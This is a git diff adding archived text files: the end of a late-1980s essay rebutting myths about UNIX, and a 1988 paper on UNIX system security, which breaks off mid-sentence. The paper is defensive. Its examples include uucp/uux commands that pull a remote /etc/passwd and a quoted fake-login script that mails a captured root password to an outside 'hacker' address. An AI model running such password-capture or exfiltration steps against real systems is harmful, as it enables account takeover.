GROUP OF PROPONENTS, +ITS OPPONENTS HAVE CONTROLLED MUCH OF WHAT WE HEAR ABOUT THE OPERATING SYSTEM. +YOU CAN SAY ALMOST ANYTHING YOU WANT ABOUT UNIX AND NOT BE CHALLENGED TO +SUPPORT YOUR ACCUSATIONS. + FINALLY, WE HAVE THE PURISTS. THIS SPECIMEN IS AN IDEALIST FOR WHOM NO +PRODUCT IS FAST ENOUGH, EFFICIENT ENOUGH, SIMPLE ENOUGH, OR POWERFUL ENOUGH. +UNFORTUNATELY, MANY UNIX USERS THEMSELVES FALL INTO THIS CATEGORY. IT IS +PERHAPS A COMPLIMENT THAT UNIX ATTRACTS THIS KIND OF PERSON, WHEN SO MANY UNIX +EXPERTS TALK MAINLY ABOUT ITS DEFECTS. THE GENERAL PUBLIC CAN EASILY GET THE +WRONG IMPRESSION. + WHAT KINDS OF THINGS ARE THESE VARIOUS GROUPS SAYING ABOUT UNIX AND WHAT +IS TRUE? + +MYTH #1: THERE IS NO "STANDARD" VERSION OF UNIX. + + A STATEMENT CAN BE AT ONCE THE ABSOLUTE TRUTH AND VERY MISLEADING. THIS +IS PERHAPS THE MOST WIDELY MISUNDERSTOOD ASPECT OF UNIX. EVEN PEOPLE WORKING +ON UNIX SYSTEMS ARE UNDER THE GENERAL IMPRESSION THAT SOMEHOW THEIR SYSTEM IS +VERY DIFFERENT FROM OTHER PEOPLE'S UNIX SYSTEMS. WHAT MOST PEOPLE DON'T +UNDERSTAND IS THAT FOR ALL INTENTS AND PURPOSES, UNIX IS UNIX AND XENIX IS UNIX +AND A LOT OF OTHER THINGS ARE UNIX AS WELL. + THESE VARIOUS VERSIONS OF THE OPERATING SYSTEM ARE MORE SIMILAR THAN THEY +ARE DIFFERENT. THEY ARE, FOR EXAMPLE, MUCH MORE SIMILAR THAN 2.0 AND 3.0 +MS-DOS. THEÿDIFFERENCES MIGHT BE COMPARED MORE TO THE DIFFERENCES BETWEEN +PC-DOS AND MS-DOS. SURE THERE ARE DIFFERENCES AT VARIOUS LEVELS, BUT WHO +CARES? NON-BINARY SOFTWARE THAT RUNS ON ONE CAN RUN UNDER THE OTHER. + THE PROBLEM WITH DEFINING A "STANDARD" UNIX IS MORE AN EMBARRASSMENT OF +RICHES THAN ANYTHING ELSE. SO MANY PEOPLE HAVE MADE SO MANY ENHANCEMENTS TO +THEIR UNIX THAT THEY SERVE TO EXPAND THE DEFINITION OF UNIX RATHER THAN REFINE +IT. UNIX ALSO RUNS ON A VARIETY OF PROCESSORS AND, AS IS ALWAYS THE CASE WHEN +YOU PORT OVER VARIOUS PROCESSORS, PROGRAMS HAVE TO BE RECOMPILED TO RUN, BUT +THIS ISN'T THE FAULT OF UNIX, IT'S THE NATURE OF REALITY. WE'VE MADE HUNDREDS +OF UNIX PORTS AND, COMPARED TO PORTS BETWEEN OTHER OPERATING SYSTEMS, IT'S A +SNAP. + +MYTH #2: UNIX IS SLOW. + + THE QUESTION HERE IS NOT REALLY IS UNIX TOO SLOW. EVERYTHING IS TOO SLOW. +THE QUESTION IS HOW DOES IT COMPARE WITH OTHER OPERATING SYSTEMS. NO ONE +CLAIMS THAT MS-DOS IS TOO SLOW, BUT UNIX (IN THE GUISE OF SCO XENIX) RUNS MANY +TIMES FASTER ON THE SAME BOX THAN DOES MS-DOS. IN PERFORMING ANY "OPERATING +SYSTEM" INTENSIVE TASK SUCH AS DISK ACCESS OR SERIAL OUTPUT, MS-DOS RANGES FROM +TWO TO TEN TIMES SLOWER IN BENCHMARKS AGAINST XENIX. THE MORE DISK ACCESS THE +WORSE MS-DOS PERFORMS BY COMPARISON SIMPLY BECAUSE, UNLIKE CALCULATIONS, DISK +ACCESS IS CONTROLLED PRIMARILY BY THE OPERATING SYSTEM. + WHEN WE COMPARE UNIX TO OS/2 FOR SUPPORT OF MULTIPLE SIMULTANEOUS +PROCESSES, RECENT TESTS HAVE SHOWN THAT, ON THE SAME HARDWARE, OS/2 STARTS OUT +ABOUT THE SAME SPEED, BUT THEN DEGRADES AS MORE PROCESSES ARE ADDED ABOUT TEN +TIMES FASTER THAN THE UNIX MACHINE. OS/2 USING THE SAME BASIC DISK +ORGANIZATION AS MS-DOS HAS THE SAME PROBLEMS WITH SLOW DISK ACCESS. ARE THERE +FASTER OPERATING SYSTEMS? FOR DOING CERTAIN THINGS, CERTAINLY. THIS IS +ESPECIALLY TRUE OF OPERATING SYSTEMS THAT HAVE BEEN OPTIMIZED (AS YOU WOULD +EXPECT MS-DOS TO BE) FOR ONE SPECIFIC TYPE OF HARDWARE. ARE THERE ANY +OPERATING SYSTEMS THAT RUN ON AS WIDE A VARIETY OF HARDWARE THAT ARE FASTER? +NO. + +MYTH #3: UNIX IS TOO HARD TO USE. + + ONCE MORE, EVERYTHING IS TOO HARD TO USE, BUT IF WE COMPARE UNIX WITH +MS-DOS, WE DISCOVER THAT, FOR DOING SIMILAR TASKS -- CREATING DIRECTORIES, +COPYING AND MOVING FILES, AND OTHER COMMON HOUSEKEEPING TASKS -- UNIX COMMANDS +ARE NO MORE DIFFICULT THAN THEIR MS-DOS COUNTERPARTS. BOTH SYSTEMS REQUIRE +THAT YOU MEMORIZE THE COMMANDS AND THEIR SYNTAX. THIS IS A PRETTY COMPLICATED +FORM OF OPERATING SYSTEM CONTROL, BUT, IF YOU WANT SOMETHING EASIER, YOU CAN BY +AN EASY-TO-USE "SHELL" FOR EITHER SYSTEM THAT PROMPTS YOU THROUGH ALL THE +COMMANDS. + THE PROBLEM WITH UNIX IS NOT THAT IT IS HARDER THAN MS-DOS, BUT THAT IT IS +SO MUCH MORE POWERFUL. WHERE MS-DOS HAS A COUPLE OF DOZEN DIFFERENT THINGS YOU +CAN DO AT THE OPERATING SYSTEM LEVEL, UNIX PROVIDES HUNDREDS. THE DEPTH AND +POWER OF UNIX IS VERY INTIMIDATING, BUT YOU MUST REMEMBER THAT YOU AREN'T +REQUIRED TO KNOW IT ALL TO USE THE SYSTEM. YOU USE WHAT YOU KNOW AND EXPAND ON +YOUR KNOWLEDGE ON AN ON-GOING BASIS. NO ONE EVER FINISHES LEARNING UNIX. UNIX +UTILITIES SUCH AS THE VISUAL EDITOR "VI" ARE SO POWERFUL THAT YOU CAN STILL BE +LEARNING NEW FEATURES AFTER YOU HAVE BEEN USING THE PRODUCT FOR YEARS. + THE OPERATING SYSTEM DEPTH AND POWER IS ONE OF THE REASONS UNIX IS SO +POPULAR. ALL OF THE HUNDREDS, PERHAPS THOUSANDS, OF FUNCTIONS YOU FIND ONLY ON +A UNIX SYSTEM ARE ALL OF THE THINGS THAT USERS OF A SOPHISTICATED COMPUTER WANT +TO USE AT ONE TIME OR ANOTHER. THE DIFFERENCE IS THAT ON UNIX, THESE FUNCTIONS +ARE ALREADY AVAILABLE. YOU DON'T HAVE TO FIND, BUY OR WRITE THEM. YOU JUST +HAVE TO LEARN THEM. + +MYTH #4: THERE ARE NO APPLICATIONS FOR UNIX. + + THIS IS PERHAPS THE STRANGEST CLAIM OF ALL, SINCE THE REASON THAT MOST +COMPUTER MANUFACTURERS BUILD UNIX MACHINES IS BECAUSE THERE *ARE* SO MANY +APPLICATIONS AVAILABLE. AS THE FIRST OPERATING SYSTEM THAT SPANS ALL TYPES OF +HARDWARE, FROM MICRO-COMPUTERS TO SUPER COMPUTERS, THE APPLICATION BASE FOR +UNIX IS UNRIVALED IN THE COMPUTER WORLD EXCEPT FOR THOSE APPLICATIONS WRITTEN +FOR MS-DOS. + THERE ARE CERTAINLY MORE APPLICATIONS WRITTEN FOR MS-DOS THAN THERE ARE +APPLICATIONS WRITTEN FOR UNIX. BUT FOR MULTI-USER, MULTI-TASKING SYSTEMS UNIX +IS UNRIVALED. THERE IS A PROBLEM, HOWEVER, WITH APPLICATION AVAILABILITY. IN +THE UNIX WORLD, MOST APPLICATIONS ARE NOT PACKAGED FOR RETAIL SALE. ALMOST ALL +APPLICATIONS ARE SOLD DIRECTLY BY THE MANUFACTURER, INSTALLING IT AT USER +SITES, OR BY VARS. SINCE THERE IS NO RETAIL MARKET FOR UNIX, THERE REALLY +HASN'T BEEN MUCH OF AN EFFORT TO COLLECT AND DISTRIBUTE UNIX APPLICATIONS IN AN +ORGANIZED FASHION. PACKAGES ARE AVAILABLE, BUT THE MARKET FOR UNIX MUST BECOME +MORE ORGANIZED BEFORE THE HOW AND WHERE OF APPLICATION BUYING IS SIMPLIFIED. + +MYTH #5: UNIX WILL BE REPLACED BY OS/2. + + WE'VE HEARD THIS OVER AND OVER: THE NEXT "THING" IS GOING TO REPLACE +UNIX. IT'S BEEN SAID ABOUT PICK, VM AND CONCURRENT DOS. ALL OF THESE PRODUCTS +ARE JUST SURVIVING IN A MARKET IN WHICH UNIX IS COMING TO DOMINATE. NOW IT'S +OS/2'S TURN. + FIRST, UNIX, AS AN OPERATING SYSTEM STANDARD, CAN'T BE REPLACED BY ANY ONE +OPERATING SYSTEM. THIS IS BECAUSE NO OPERATING SYSTEM IS AVAILABLE ON THE +RANGE OF MACHINES ON WHICH UNIX IS OFFERED. ONLY PEOPLE WHO ARE LOOKING +EXCLUSIVELY AT THE INTEL MICRO-COMPUTER WORLD FORSEE SOME KIND OF DOMINANCE BY +OS/2. [I DOUBT THAT YOU'LL SEE OS/2 ON THE CRAY 2 -- UNIX, UNDER THE NAME OF +UNICOS IS ALREADY OPERATING NICELY THERE. -ED.] + EVEN IF YOU LOOK AT JUST MICRO-COMPUTERS, THE IDEA THAT OS/2 IS GOING TO +OUTMODE UNIX IS CLEARLY A FANTASY. OS/2 IS A SINGLE USER OPERATING SYSTEM. +UNIX IS A MULTI-USER OPERATING SYSTEM. AS LONG AS THERE IS A DEMAND FOR +MULTI-USER SYSTEMS -- AND THAT DEMAND IS DRAMATICALLY INCREASING AS NEW +PROCESSORS MAKE MULTI-USER SYSTEM MORE AFFORDABLE -- UNIX HAS A MARKET. +MICROSOFT, THE MAKERS OF OS/2, HAVE SAID OVER AND OVER THAT OS/2 WILL NEVER BE +A MULTI-USER OPERATING SYSTEM. OS/2 MACHINES CAN BE LINKED INTO NETWORKS, BUT +DON'T SUPPORT MULTIPLE USERS ON A SINGLE PROCESSOR. + +MYTH #6: UNIX WILL BE REPLACED BY NETWORKS. + +UNIX DOESN'T COMPETE WITH NETWORKS, IT SUPPORTS THEM. NETWORKS ARE GOING TO +BECOME MORE POPULAR. UNIX-BASED NETWORKS ARE GOING TO BECOME EVEN MORE POPULAR +BECAUSE THEY SUPPORT ALL TYPES OF VERY DIFFERENT SYSTEMS. NOTHING OFFERS THE +RANGE OF COMMUNICATION AND NETWORKING FEATURES THAT UNIX DOES, AND BECAUSE OF +THAT, WE EXPECT TO SEE THE NETWORK MARKET BECOME MORE AND MORE DOMINATED BY +UNIX-BASED SYSTEMS. + DOES THIS MEAN THE MAIN USE OF UNIX IN THE MICRO-COMPUTER WORLD WILL BE AS +A FILE SERVER? CERTAINLY NOT. BECAUSE OF ECONOMIC FACTORS, THE MARKET FOR +UNIX MULTI-USER SYSTEMS WHERE USERS WORK AT INEXPENSIVE DUMB TERMINALS WILL +CONTINUE TO GROW FASTER THAN THE GENERAL MARKET. FOR SUPPORTING MULTIPLE USERS +IN A WORK ENVIRONMENT, NETWORKS ARE TWO TO THREE TIMES MORE EXPENSIVE THAN A +UNIX-BASED SYSTEM. PERHAPS THE COST FACTOR IS UNIMPORTANT TO A CERTAIN +PERCENTAGE OF COMPUTER PURCHASERS, BUT THERE IS A SUBSTANTIAL NUMBER OF +POTENTIAL CUSTOMERS WHO CAN'T AFFORD A MULTI-USER SYSTEM AT THAT PRICE. THESE +CUSTOMERS HAVE BOUGHT AND WILL CONTINUE TO BY UNIX-BASED SYSTEMS. + +WHY UNIX? + + WHY DOES UNIX CONTINUE TO PROSPER? IT IS THE ONLY STANDARD FOR MULTI-USER +SYSTEMS. FOR APPLICATIONS DEVELOPERS WHO WANT TO DEVELOP MULTI-USER PROGRAMS, +IT IS THE ONE PLATFORM FOR WHICH THEY CAN DEVELOP SOFTWARE AND BE ASSURED THAT +THAT SOFTWARE WILL RUN ON A WIDE VARIETY OF MACHINES. IT GIVES HARDWARE +DEVELOPERS AN EXISTING BASE OF APPLICATIONS FOR NEW MACHINES. IT GIVES +SOFTWARE DEVELOPERS INDEPENDENCE FROM ANY ONE MACHINE OR MANUFACTURER. + +RECOGNIZING THIS, BOTH HARDWARE AND SOFTWARE DEVELOPERS ARE TURNING TOWARD UNIX +AS THEIR FUTURE. + COMPARED WITH MS-DOS AND OS/2, ITS SINGLE-USER COUSINS, UNIX IS FASTER AND +INFINITELY MORE POWERFUL. AS THE POPULARITY OF UNIX-BASED NETWORKS GROWS, WE +EXPECT THAT MORE AND MORE DOS USERS WILL DISCOVER THE MANY BENEFITS OF USING +UNIX. AS PEOPLE TURN MORE TOWARD MULTI-USER INSTALLATIONS, COST FACTORS WILL +ALSO CONTINUE TO INCREASE THE DISTRIBUTION OF UNIX-BASED SYSTEMS. + FINALLY, AS HARDWARE TECHNOLOGY MOVE FORWARD, COMPUTER MANUFACTURERS HAVE +A SIMPLE CHOICE: DO THEY DEVELOP A NEW OPERATING SYSTEM FOR EACH NEW HARDWARE +TECHNOLOGY OR DO THEY UTILIZE UNIX? DEVELOPING A NEW OPERATING SYSTEM CAN COST +MILLIONS AND TAKE YEARS. AFTER DEVELOPING ANY NEW OPERATING SYSTEM, THERE ARE +NO APPLICATIONS THAT RUN ON IT. IN COMPARISON, UNIX IS READY NOW AND THE OEM +LICENSE COSTS A SMALL FRACTION OF WHAT IS WOULD COST TO DEVELOP A NEW OPERATING +SYSTEM. AS A BONUS, WHEN YOU USE UNIX YOU INHERIT A LARGE BASE OF ALREADY +WRITTEN APPLICATIONS. IF YOU WERE RUNNING A COMPUTER COMPANY, WHICH ROUTE +WOULD YOU CHOOSE? YOU CAN TEST YOUR GUESS AGAINST THE MARKETPLACE. MOTOROLA +JUST RELEASED A NEW PROCESSOR CHIP SET CALLED THE 88000. HOW MUCH DO YOU WANT +TO BET THAT UNIX IS THE FIRST OPERATING SYSTEM OFFERED FOR FOR THE COMPUTER +USING THIS CHIP? SINCE NEW HARDWARE IS INEVITABLE, UNIX IS INEVITABLE. + DESPITE WHAT YOU MAY HAVE HEARD, UNIX IS THE FUTURE. + + + + +X-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-X + + Another file downloaded from: NIRVANAnet(tm) + + & the Temple of the Screaming Electron Jeff Hunter 510-935-5845 + Rat Head Ratsnatcher 510-524-3649 + Burn This Flag Zardoz 408-363-9766 + realitycheck Poindexter Fortran 415-567-7043 + Lies Unlimited Mick Freen 415-583-4102 + + Specializing in conversations, obscure information, high explosives, + arcane knowledge, political extremism, diversive sexuality, + insane speculation, and wild rumours. ALL-TEXT BBS SYSTEMS. + + Full access for first-time callers. We don't want to know who you are, + where you live, or what your phone number is. We are not Big Brother. + + "Raw Data for Raw Nerves" + +X-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-X diff --git a/textfiles.com/hacking/UNIX/unixsec.txt b/textfiles.com/hacking/UNIX/unixsec.txt new file mode 100644 index 00000000..ed6105dc --- /dev/null +++ b/textfiles.com/hacking/UNIX/unixsec.txt @@ -0,0 +1,521 @@ + + +--------------------------------------+ + | "Unix System Security Issues" | + | Typed by: | + | Whisky | + | (from Holland, Europe) | + +--------------------------------------+ + | From | + | Information Age | + | Vol. 11, Number 2, April 1988 | + | Written By: | + | Michael J. Knox and Edward D. Bowden | + +--------------------------------------+ + +Note: This file was sent to me from a friend in Holland. I felt + that it would be a good idea to present this file to the + UNIX-hacker community, to show that hackers don't always + harm systems, but sometimes look for ways to secure flaws + in existing systems. -- Jester Sluggo !! + +There are a number of elements that have lead to the popularity of the +Unix operating system in the world today. The most notable factors are +its portability among hardware platforms and the interactive programming +environment that it offers to users. In fact, these elements have had +much to do with the succesful evolution of the Unix system in the +commercial market place. (1, 2) + As the Unix system expands further into industry and government, the +need to handle Unix system security will no doubt become imperative. For +example, the US government is committing several millon dollars a year +for the Unix system and its supported hardware. (1) The security +requirements for the government are tremendous, and one can only guess +at the future needs of security in industry. + In this paper, we will cover some of the more fundamental security +risks in the Unix system. Discussed are common causes of Unix system +compromise in such areas as file protecion, password security, +networking and hacker violations. In our conclusion, we will comment +upon ongoing effects in Unix system security, and their direct influence +on the portability of the Unix operating system. + +FILE AND DIRECTORY SECURITY + +In the Unix operating system environment, files and directories are +organized in a tree structure with specific access modes. The setting of +these modes, through permission bits (as octal digits), is the basis of +Unix system security. Permission bits determine how users can access +files and the type of access they are allowed. There are three user +access modes for all Unix system files and directories: the owner, the +group, and others. Access to read, write and execute within each of the +usertypes is also controlled by permission bits (Figure 1). Flexibility +in file security is convenient, but it has been criticized as an area of +system security compromise. + + + Permission modes +OWNER GROUP OTHERS +------------------------------------------------------------ +rwx : rwx : rwx +------------------------------------------------------------ +r=read w=write x=execute + +-rw--w-r-x 1 bob csc532 70 Apr 23 20:10 file +drwx------ 2 sam A1 2 May 01 12:01 directory + +FIGURE 1. File and directory modes: File shows Bob as the owner, with +read and write permission. Group has write permission, while Others has +read and execute permission. The directory gives a secure directory not +readable, writeable, or executable by Group and Others. + + + Since the file protection mechanism is so important in the Unix +operating system, it stands to reason that the proper setting of +permission bits is required for overall security. Aside from user +ignorance, the most common area of file compromise has to do with the +default setting of permission bits at file creation. In some systems the +default is octal 644, meaning that only the file owner can write and +read to a file, while all others can only read it. (3) In many "open" +environments this may be acceptable. However, in cases where sensitive +data is present, the access for reading by others should be turned off. +The file utility umask does in fact satisfy this requirement. A +suggested setting, umask 027, would enable all permission for the file +owner, disable write permission to the group, and disable permissions +for all others (octal 750). By inserting this umask command in a user +.profile or .login file, the default will be overritten by the new +settings at file creation. + The CHMOD utility can be used to modify permission settings on files +and directories. Issuing the following command, + +chmod u+rwd,g+rw,g-w,u-rwx file + +will provide the file with the same protection as the umask above +(octal 750). Permission bits can be relaxed with chmod at a later +time, but at least initially, the file structure can be made secure +using a restrictive umask. + By responsible application of such utilities as umask and chmod, users +can enhance file system security. The Unix system, however, restricts +the security defined by the user to only owner, group and others. Thus, +the owner of the file cannot designate file access to specific users. As +Kowack and Healy have pointed out, "The granularity of control that +(file security) mechanisms is often insufficient in practice (...) it is +not possible to grant one user write protection to a directory while +granting another read permission to the same directory. (4) A useful +file security file security extension to the Unix system might be +Multics style access control lists. + With access mode vulnerabilities in mind, users should pay close +attention to files and directories under their control, and correct +permissions whenever possible. Even with the design limitations in mode +granularity, following a safe approach will ensure a more secure Unix +system file structure. + +SUID and SGID + +The set user id (suid) and set group id (sgid) identify the user and +group ownership of a file. By setting the suid or sgid permission bits +of an executable file, other users can gain acces to the same resources +(via the executable file) as that of the real file's owner. + +For Example: + +Let Bob's program bob.x be an executable file accessible to others. When +Mary executes bob.x, Mary becomes the new program owner. If during +program execution bob.x requests access to file browse.txt, then Mary +must have previous read or write permission to browse.txt. This would +allow Mary and everyone else total access to the contents of browse.txt, +even when she is not running bob.x. By turning on the suid bit of bob.x, +Mary will have the same access permissions to browse.txt as does the +program's real owner, but she will only have access to browse.txt during +the execution of bob.x. Hence, by incorperating suid or sgid, unwelcome +browsers will be prevented form accessing files like browse.txt + + Although this feature appears to offer substantial access control to +Unix system files, it does have one critical drawback. There is always +the chance that the superuser (system administrator) may have a writable +file for others that is also set with suid. With some modification in +the file's code (by a hacker), an executable file like this would enable +a user to become a superuser. Within a short period of time this +violator could completely compromise system security and make it +inaccessible, even to other superusers. As Farrow (5) puts it, "(...) +having a set-user-id copy of the shell owned by root is better than +knowing the root password". + To compensate for this security threat, writable suid files should be +sought out and eliminated by the system administrator. Reporting of such +files by normal users is also essential in correcting existing security +breaches. + +DIRECTORIES + +Directory protection is commonly overlooked component of file security +in the Unix system. Many system administrators and users are unaware of +the fact, that "publicly writable directories provide the most +opportunities for compromising the Unix system security" (6). +Administrators tend to make these "open" for users to move around and +access public files and utilities. This can be disastrous, since files +and other subdirectories within writable directories can be moved out +and replaced with different versions, even if contained files are +unreadable or unwritable to others. When this happens, an unscrupulous +user or a "password breaker" may supplant a Trojan horse of a commonly +used system utility (e.g. ls, su, mail and so on). For example, imagine + +For example: + +Imagine that the /bin directory is publicly writable. The perpetrator +could first remove the old su version (with rm utility) and then +include his own fake su to read the password of users who execute +this utility. + + Although writable directories can destroy system integrity, readable +ones can be just as damaging. Sometimes files and directories are +configured to permit read access by other. This subtle convenience can +lead to unauthorized disclosure of sensitive data: a serious matter when +valuable information is lost to a business competitor. + As a general rule, therefore, read and write access should be removed +from all but system administrative directories. Execute permission will +allow access to needed files; however, users might explicitly name the +file they wish to use. This adds some protection to unreadable and +unwritable directories. So, programs like lp file.x in an unreadable +directory /ddr will print the contents of file.x, while ls/ddr would not +list the contents of that directory. + +PATH VARIABLE + +PATH is an environment variable that points to a list of directories, +which are searched when a file is requested by a process. The order of +that search is indicated by the sequence of the listed directories in +the PATH name. This variable is established at user logon and is set up +in the users .profile of .login file. + If a user places the current directory as the first entry in PATH, +then programs in the current directory will be run first. Programs in +other directories with the same name will be ignored. Although file and +directory access is made easier with a PATH variable set up this way, it +may expose the user to pre-existing Trojan horses. + To illustrate this, assume that a trojan horse, similar to the cat +utility, contains an instruction that imparts access privileges to a +perpetrator. The fake cat is placed in a public directory /usr/his +where a user often works. Now if the user has a PATH variable with the +current directory first, and he enters the cat command while in +/usr/his, the fake cat in /usr/his would be executed but not the system +cat located in /bin. + In order to prevent this kind of system violation, the PATH variable +must be correctly set. First, if at all possible, exclude the current +directory as the first entry in the PATH variable and type the full path +name when invoking Unix system commands. This enhances file security, +but is more cumbersome to work with. Second, if the working directory +must be included in the PATH variable, then it should always be listed +last. In this way, utilities like vi, cat, su and ls will be executed +first from systems directories like /bin and /usr/bin before searching +the user's working directory. + +PASSWORD SECURITY + +User authentication in the Unix system is accomplished by personal +passwords. Though passwords offer an additional level of security +beyond physical constraints, they lend themselves to the greatest area +of computer system compromise. Lack of user awareness and responsibility +contributes largely to this form of computer insecurity. This is true of +many computer facilities where password identification, authentication +and authorization are required for the access of resources - and the +Unix operating system is no exception. + Password information in many time-sharing systems are kept in +restricted files that are not ordinarily readable by users. The Unix +system differs in this respect, since it allows all users to have read +access to the /etc/passwd file (FIGURE 2) where encrypted passwords and +other user information are stored. Although the Unix system implements a +one-way encryption method, and in most systems a modified version of the +data encryption standard (DES), password breaking methods are known. +Among these methods, brute-force attacks are generally the least +effective, yet techniques involving the use of heuristics (good guesses +and knowledge about passwords) tend to be successful. For example, the +/etc/passwd file contains such useful information as the login name and +comments fields. Login names are especially rewarding to the "password +breaker" since many users will use login variants for passwords +(backward spelling, the appending of a single digit etc.). The comment +field often contains items such as surname, given name, address, +telephone number, project name and so on. To quote Morris and Grampp (7) +in their landmark paper on Unix system security: + + [in the case of logins] + + The authors made a survey of several dozen local machines, using as + trial passwords a collection of the 20 most common female first names, + each followed by a single digit. The total number of passwords tried was, + therefore, 200. At least one of these 200 passwords turned out to be a + valid password on every machine surveyed. + + [as for comment fields] + + (...) if an intruder knows something about the people using a machine, + a whole new set of candidates is available. Family and friend's names, + auto registration numbers, hobbies, and pets are particularly + productive categories to try interactively in the unlikely event that + a purely mechanical scan of the password file turns out to be + disappointing. + +Thus, given a persistent system violator, there is a strong evidence, +that he will find some information about users in the /etc/passwd file. +With this in mind, it is obvious that a password file should be +unreadable to everyone except those in charge of system administration. + + +root:aN2z06ISmxKqQ:0:10:(Boss1),656-35-0989:/:/bin +mike:9okduHy7sdLK8:09:122:No.992-3943:/usr:/bin + +FIGURE 2. The /etc/passwd file. Note the comments field as underlined +terms. + + + Resolution of the /etc/passwd file's readability does not entirely +solve the basic problem with passwords. Educating users and +administrators is necessary to assure proper password utilization. +First, "good passwords are those that are at least six characters long, +aren't based on personal information, and have some nonalphabetic +(especially control) characters in them: 4score, my_name, luv2run" (8). +Secondly, passwords should be changed periodically but users should avoid +alternating between two passwords. Different passwords for different +machines and files will aid in protecting sensitive information. +Finally, passwords should never be available to unauthorized users. +Reduction of user ignorance about poor password choice will inevitably +make a system more secure. + +NETWORK SECURITY + +UUCP system +The most common Unix system network is the UUCP system, which is a group +of programs that perform the file tranfers and command execution between +remote systems. (3) The problem with the UUCP system is that users on +the network may access other users' files without access permission. As +stated by Nowitz (9), + + The uucp system, left unrestricted, will let any outside user execute + commands and copy in/out any file that is readable/writable by a uucp + login user. It is up to the individual sites to be aware of this, and + apply the protections that they feel free are necessary. + +This emphasizes the importance of proper implementation by the system +administrator. + There are four UUCP system commands to consider when looking into +network security with the Unix system. The first is uucp, a command used +to copy files between two Unix systems. If uucp is not properly +implemented by the system administrator, any outside user can execute +remote commands and copy files from another login user. If the file name +on another system is known, one could use the uucp command to copy files +from that system to their system. For example: + + %uucp system2!/main/src/hisfile myfile + +will copy hisfile from system2 in the directory /main/src to the file +myfile in the current local directory. If file transfer restrictions +exist on either system, hisfile would not be sent. If there are no +restrictions, any file could be copied from a remote user - including +the password file. The following would copy the remote system +/etc/passwd file to the local file thanks: + + %uucp system2!/etc/passwd thanks + +System administrators can address the uucp matter by restricting uucp +file transfers to the directory /user/spool/uucppublic. (8) If one tries +to transfer a file anywhere else, a message will be returned saying +"remote access to path/file denied" and no file transfer will occur. + The second UUCP system command to consider is the uux. Its function is +to execute commands on remote Unix computers. This is called remote +command execution and is most often used to send mail between systems +(mail executes the uux command internally). + The ability to execute a command on another system introduces a +serious security problem if remote command execution is not limited. As +an example, a system should not allow users from another system to +perform the following: + + %uux "system1!cat/usr/spool/uucppublic" + +which would cause system1 to send its /etc/passwd file to the system2 +uucp public directory. The user of system2 would now have access to the +password file. Therefore, only a few commands should be allowed to +execute remotely. Often the only command allowed to run uux is rmail, +the restricted mail program. + The third UUCP system function is the uucico (copy in / copy out) +program. It performs the true communication work. Uucp or uux does not +actually call up other systems; instead they are queued and the uucico +program initiates the remote processes. The uucico program uses the file +/usr/uucp/USERFILE to determine what files a remote system may send or +receive. Checks for legal files are the basis for security in USERFILE. +Thus the system administrator should carefully control this file. + In addition, USERFILE controls security between two Unix systems by +allowing a call-back flag to be set. Therefore, some degree of security +can be achieved by requiring a system to check if the remote system is +legal before a call-back occurs. + The last UUCP function is the uuxqt. It controls the remote command +execution. The uuxqt program uses the file /usr/lib/uucp/L.cmd to +determine which commands will run in response to a remote execution +request. For example, if one wishes to use the electronic mail feature, +then the L.cmd file will contain the line rmail. Since uuxqt determines +what commands will be allowed to execute remotely, commands which may +compromise system security should not be included in L.cmd. + +CALL THE UNIX SYSTEM + +In addition to UUCP network commands, one should also be cautious of the +cu command (call the Unix system). Cu permits a remote user to call +another computer system. The problem with cu is that a user on a system +with a weak security can use cu to connect to a more secure system and +then install a Trojan horse on the stronger system. It is apparent that +cu should not be used to go from a weaker system to a stronger one, and +it is up to the system administrator to ensure that this never occurs. + +LOCAL AREA NETWORKS + +With the increased number of computers operating under the Unix system, +some consideration must be given to local area networks (LANs). Because +LANs are designed to transmit files between computers quickly, security +has not been a priority with many LANs, but there are secure LANs under +development. It is the job of the system manager to investigate security +risks when employing LANs. + +OTHER AREAS OF COMPROMISE + +There are numerous methods used by hackers to gain entry into computer +systems. In the Unix system, Trojan horses, spoofs and suids are the +primary weapons used by trespassers. + Trojan horses are pieces of code or shell scripts which usually assume +the role of a common utility but when activated by an unsuspecting user +performs some unexpected task for the trespasser. Among the many +different Trojan horses, it is the su masquerade that is the most +dangerous to the Unix system. + Recall that the /etc/passwd file is readable to others, and also +contains information about all users - even root users. Consider what a +hacker could do if he were able to read this file and locate a root user +with a writable directory. He might easily plant a fake su that would +send the root password back to the hacker. A Trojan horse similar to +this can often be avoided when various security measures are followed, +that is, an etc/passwd file with limited read acces, controlling writable +directories, and the PATH variable properly set. + A spoof is basically a hoax that causes an unsuspecting victim to +believe that a masquerading computer funtion is actually a real system +operation. A very popular spool in many computer systems is the +terminal-login trap. By displaying a phoney login format, a hacker is +able to capture the user's password. + Imagine that a root user has temporarily deserted his terminal. A +hacker could quickly install a login process like the one described by +Morris and Grampp (7): + + echo -n "login:" + read X + stty -echo + echo -n "password:" + read Y + echo "" + stty echo + echo %X%Y|mail outside|hacker& + sleep 1 + echo Login incorrect + stty 0>/dev/tty + +We see that the password of the root user is mailed to the hacker who +has completely compromised the Unix system. The fake terminal-login acts +as if the user has incorrectly entered the password. It then transfers +control over to the stty process, thereby leaving no trace of its +existence. + Prevention of spoofs, like most security hazards, must begin with user +education. But an immediate solution to security is sometimes needed +before education can be effected. As for terminal-login spoofs, there +are some keyboard-locking programs that protect the login session while +users are away from their terminals. (8, 10) These locked programs +ignore keyboard-generated interrupts and wait for the user to enter a +password to resume the terminal session. + Since the suid mode has been previously examined in the password +section, we merely indicate some suid solutions here. First, suid +programs should be used is there are no other alternatives. Unrestrained +suids or sgids can lead to system compromise. Second, a "restricted +shell" should be given to a process that escapes from a suid process to +a child process. The reason for this is that a nonprivileged child +process might inherit privileged files from its parents. Finally, suid +files should be writable only by their owners, otherwise others may have +access to overwrite the file contents. + It can be seen that by applying some basic security principles, a user +can avoid Trojan horses, spoofs and inappropriate suids. There are +several other techniques used by hackers to compromise system security, +but the use of good judgement and user education may go far in +preventing their occurence. + +CONCLUSION + +Throughout this paper we have discussed conventional approaches to Unix +system security by way of practical file management, password +protection, and networking. While it can be argued that user eduction is +paramount in maintaining Unix system security (11) factors in human +error will promote some degree of system insecurity. Advances in +protection mechanisms through better-written software (12), centralized +password control (13) and identification devices may result in enhanced +Unix system security. + The question now asked applies to the future of Unix system operating. +Can existing Unix systems accommodate the security requirements of 